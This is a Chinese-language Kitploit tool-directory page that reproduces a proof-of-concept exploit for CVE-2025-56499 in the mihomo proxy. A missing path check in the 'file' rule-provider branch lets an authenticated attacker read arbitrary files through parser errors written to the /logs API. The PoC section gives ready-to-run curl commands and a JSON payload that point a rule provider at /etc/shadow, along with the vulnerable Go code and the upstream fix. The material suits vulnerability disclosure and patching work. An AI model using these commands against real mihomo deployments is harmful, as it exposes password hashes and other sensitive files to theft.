Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-56499 — CVE-2025-56499 的概念验证利用,演示了通过 mihomo 规则提供程序文件类型中缺失的路径验证实现任意文件读取,并利用日志进行数据泄露。 | Kitploit
工具/GitHubGitHub/cherrling/cve-2025-56499
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试日志分析
GitHubcherrling/cve-2025-56499

CVE-2025-56499

CVE-2025-56499 的概念验证利用,演示了通过 mihomo 规则提供程序文件类型中缺失的路径验证实现任意文件读取,并利用日志进行数据泄露。

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-56499

通过本地规则提供者中缺失的路径验证实现任意文件读取

上游修复:https://github.com/MetaCubeX/mihomo/pull/2177

受影响版本:mihomo <= v1.19.11

摘要

在解析 rule-providers 配置时,type = "file" 分支未能对提供的路径进行验证。通过身份验证的攻击者控制 schema.Path 后,可以将提供者指向任何可读的本地文件。由于大多数任意文件不符合预期的规则格式,解析错误(包括大量文件内容片段)会引入内存日志,并通过 /logs API 暴露。由于 mihomo 通常以提升的权限(root / 管理员)运行,这会导致高影响的信息泄露。

类型与根本原因

  • 类型:任意文件读取 / 缺失路径验证。
  • 直接原因:在 rules/provider/parse.go 中,schema.Type == "file" 的情况下只调用了 C.Path.Resolve(),从未强制执行 C.Path.IsSafePath() 或任何等效的白名单/沙盒约束。
root@kitploit:~
var vehicle P.Vehicle
switch schema.Type {
case "file":
    path := C.Path.Resolve(schema.Path)
    vehicle = resource.NewFileVehicle(path)
case "http":
    path := C.Path.GetPathByHash("rules", schema.URL)
    if schema.Path != "" {
        path = C.Path.Resolve(schema.Path)
        if !C.Path.IsSafePath(path) {
            return nil, C.Path.ErrNotSafePath(path)
        }
    }
    vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
    return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
    return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}

文件分支的缺陷:

  • 缺少路径规范化和安全性边界强制。
  • 允许引用敏感系统位置的绝对路径。

利用流程

  1. 攻击者轮询或流式获取 /logs 以捕获解析器错误输出。
  2. 攻击者通过 /configs 提交一个精心构造的配置,其中嵌入了恶意的 rule-providers 条目,type = file 并携带目标文件路径。
  3. 服务尝试将该文件解析为规则数据 → 失败 → 将错误及内容片段写入日志。
  4. 攻击者收集泄露的数据;重复此过程以扩大覆盖范围或细化提取内容。

PoC

监听日志(示例令牌 Bearer 123):

root@kitploit:~
curl -X GET "http://localhost:9999/logs" \
  -H "Authorization: Bearer 123"

注入配置以读取 /etc/shadow:

root@kitploit:~
curl -X PUT "http://localhost:9999/configs" \
  -H "Authorization: Bearer 123" \
  -H "Content-Type: application/json" \
  -d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'

未转义的 payload:

root@kitploit:~
{
  "log-level": "debug",
  "external-controller-unix": "mihomo.sock",
  "rule-providers": {
    "pwn": {
      "type": "file",
      "behavior": "classical",
      "format": "text",
      "path": "/etc/shadow"
    }
  }
}

结果:/logs 中的解析失败行包含 /etc/shadow 的片段(示例截图): PoC 部分截图

下载工具